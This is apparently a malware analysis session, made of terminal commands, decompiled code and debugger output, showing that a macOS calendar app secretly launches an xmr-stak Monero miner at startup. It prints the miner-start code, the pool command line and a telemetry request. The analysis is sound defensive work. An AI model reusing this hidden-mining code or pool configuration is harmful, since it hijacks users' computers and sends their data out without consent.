$ strings -a ~/Downloads/CalendarFree.app/Contents/MacOS/CalendarFree ... MinerManager updateMiner _parseMinerSetting com.qbix.MineroMode Miner: Start. core %d; cpuLimit %d; port %d; slowMemory %@; currency: %@; token: %@ Miner: Stopped Miner: Check: hashrate %d; status: %d
$ ./jtool -d objc -v CalendarFree.app/Contents/MacOS/CalendarFre
@interface MinerManager : ? // 13 properties: @property (nonatomic) long long currentPortIndex; @property (copy) NSString slowMemoryMode; @property (nonatomic) long long cpuLimit; @property (nonatomic) long long coreLimit; @property (copy) NSString token; @property (copy) NSString algorythm; ... // 32 instance methods /* 0 - 0x100092e50 */ - runMiningPingReport; /* 1 - 0x100092f10 */ - checkModeSelected; /* 2 - 0x100077db0 */ - init; /* 3 - 0x100077e10 */ - updateToReflectUserMode; /* 4 - 0x100077e30 */ - updateMiner; /* 5 - 0x100077fc0 */ - runMining; /* 6 - 0x1000780d0 */ - stopMining; /* 7 - 0x100078130 */ - checkMiningStatus; /* 8 - 0x100078200 */ - startMiningCheckLoop; /* 9 - 0x100078260 */ - stopMiningCheckLoop; ... @end
void -[CalendarController applicationDidFinishLaunching:] { ... dispatch_after(dispatch_time(0x0, 0x3b9aca00), *__dispatch_main_q, ^ { /* block implemented _52-[CalendarController applicationDidFinishLaunching:]_block_invoke */ }); } void _52-[CalendarController applicationDidFinishLaunching:]_block_invoke(void * _block) { ... [[MinerManager manager] runMiningPingReport]; [[MinerManager manager] updateMiner]; return; }
$ lldb /Applications/CalendarFree.app/ Current executable set to '/Applications/CalendarFree.app/' (x86_64). (lldb) b -[MinerManager runMining] Breakpoint 1: where = CalendarFree`-[MinerManager runMining] ... Process 2944 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 6.1 CalendarFree`-[MinerManager runMining]: (lldb) bt * frame #0: 0x0000000100077fc0 CalendarFree`-[MinerManager runMining] frame #1: 0x0000000100077dff CalendarFree`-[MinerManager init] + 79 ... frame #5: 0x0000000100077d22 CalendarFree`+[MinerManager manager] + 98
void -[MinerManager runMining] { rdx = self->_coreLimit; r14 = [self calculateWorkingCores:rdx]; [_TtC17Coinstash_XMRSTAK9Coinstash setCPULimit:self->_cpuLimit]; r15 = [self getPort]; r12 = [self algorythm]; [self getSlotMemoryMode]; [_TtC17Coinstash_XMRSTAK9Coinstash startMiningWithPort:r15 password:self->_token coreCount:r14 slowMemory:self->_slowMemoryMode currency:r12]; NSLog(@"Miner: Start. core %d; cpuLimit %d; port %d; slowMemory %@; currency: %@; token: %@", r14, self->_cpuLimit, r15, self->_slowMemoryMode, r12, self->_token); [self startMiningCheckLoop]; return; }
$ lldb /Applications/CalendarFree.app/ ... Process 1811 stopped stop reason = breakpoint 1.1 +[Coinstash_XMRSTAK.Coinstash startMiningWithPort:password:coreCount:slowMemory:currency:] (lldb) po $rdi Coinstash_XMRSTAK.Coinstash (lldb) x/s $rsi 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:" (lldb) po $rdx 7777 (lldb) po $rcx qbix:greg@qbix.com
# ./procInfo [NEW EVENT: PROCESS START ('xmr-stak')] pid: 1899 path: /Applications/CalendarFree.app/Contents/Frameworks/Coinstash_XMRSTAK.framework/ Versions/A/Resources/xmr-stak args: ( "/Applications/CalendarFree.app/Contents/Frameworks/Coinstash_XMRSTAK.framework /Resources/xmr-stak", "--currency", monero, "-o", "pool.graft.hashvault.pro:7777", "-u", G81Jc3KHStAWJjjBGzZKCvEnwCeRZrHkrUKji9NSDLtJ6Evhhj43DYP7dMrYczz5KYj..., "-p", "qbix:greg@qbix.com", "--config", "/var/folders/qm/mxjk9mls58d9ycd5c1vjt9w40000gn/T/com.qbix.Calendar/ com.beachio.coinstash/config.txt", "--cpu", "/var/folders/qm/mxjk9mls58d9ycd5c1vjt9w40000gn/T/com.qbix.Calendar/ com.beachio.coinstash/cpu.txt", "--amd", "/var/folders/qm/mxjk9mls58d9ycd5c1vjt9w40000gn/T/com.qbix.Calendar/ com.beachio.coinstash/amd.txt", ... )
$ lldb /Applications/CalendarFree.app/ Current executable set to '/Applications/CalendarFree.app/' (x86_64). (lldb) b -[GTMHTTPFetcher initWithRequest:] Breakpoint 1: where = CalendarFree`-[GTMHTTPFetcher initWithRequest:] Process 2825 stopped * thread #17, queue = 'com.apple.root.default-qos', stop reason = breakpoint 1.1 CalendarFree`-[GTMHTTPFetcher initWithRequest:]: (lldb) po $rdx <NSMutableURLRequest: 0x1018f04e0> { URL: https://calendar.qbix.com/api/mining } (lldb) po [0x1018f04e0 HTTPBody] { "m_mode": true, "a_l": false, "u_mode": 3, "language": "en-US", "u_p": 0, "mining": { "statistic": { "ZeroCounter": 0, "AverageHashRate": 0.92911845445632935, "CounterTime": 30, "NonZeroCounter": 14, "MaxHashRate": 21, "MinHashRate": 10 }, "params": { "Token": "qbix:greg@qbix.com", "Algorithm": "graft", "CPULimit": 25, "EnableMiningMode": true, "CPUBatteryLimit": 10, "CoreLimit": 25, "Ports": { "7777": 1000000, "5555": 160, "3333": 40 } } }, "sv": "10.13.3", "m_a_mode": false, "la": false, "t": "000c2909108f", "tz_offset": -25200, "u": 0, "bv": "2.6.1", "id": "2018-03-12 01:02:20 +0000", "battery": { "BatteryPlugIn": 111, "TimeInterval": 60, "BatteryCounters": 111 }, "l": "-1037.3,-122.0", "tz_name": "PDT", "u_s": 1, "client_time": 1520827483, ... }